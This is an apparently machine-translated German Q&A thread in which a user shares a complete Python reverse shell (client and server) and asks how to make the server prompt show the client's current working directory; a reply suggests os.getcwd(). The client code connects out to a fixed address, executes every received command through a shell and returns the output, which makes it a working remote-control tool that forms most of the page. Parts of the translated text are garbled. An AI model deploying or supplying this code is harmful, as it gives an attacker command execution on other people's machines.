2017-05-30 1 views
0

Dies ist meine einfache umgekehrte Shell in Python geschrieben. Ich versuche es besser zu machen. seitigen Codeaktuelle Arbeitsverzeichnis als Eingabeaufforderung in einer Python-Reverse-Shell setzen

Auftraggeber:

import socket 
import subprocess 

mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) 
mySocket.connect(('172.16.1.30', 7071)) 
cmd=mySocket.recv(100) 

while (cmd != 'exit'): 
    cmdResult = subprocess.Popen(args=cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) 
    mySocket.send(cmdResult.communicate()[0]) 
    cmd = mySocket.recv(100) 

mySocket.send('Shell closed by user.') 
mySocket.close() 

Server-Side-Code:

import socket 

mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) 
mySocket.bind(('172.16.1.30', 7071)) 
mySocket.listen(1) 
clntConn, clntAddr = mySocket.accept() 
print 'Received connection from ' + str(clntAddr[0]) + ':' + str(clntAddr[1]) 

while True: 
    command=raw_input('Shell>') 
    clntConn.send(command) 
    result=clntConn.recv(1024) 
    if (result == 'Shell closed by user.'): 
     print result 
     exit(0) 
    else: 
     print result 

Wie in "Server-Side-Code" gesehen die raw_input Prompt ist "Shell". Wie kann ich es zum aktuellen Arbeitsverzeichnis auf dem Client ändern.

Zum Beispiel, wenn der Kunde aktuelle Arbeitsverzeichnis ist "C: \ Benutzer Test \ Desktop \ \"

Ich hatte eine raw_input prompt als "C: \ Users Test \ Desktop \>".

Danke.

Antwort

0

Sie können os.getcwd() verwenden, sollte es auf Unix und Windows funktionieren.

import os 
cwd = os.getcwd() 
+0

Ich wollte clientseitige aktuelle Arbeitsverzeichnis haben, nicht die Server-Seite. – Daniel

+0

Führen Sie anschließend den Befehl im Client aus. Trotzdem ist der Befehl derselbe. –

Verwandte Themen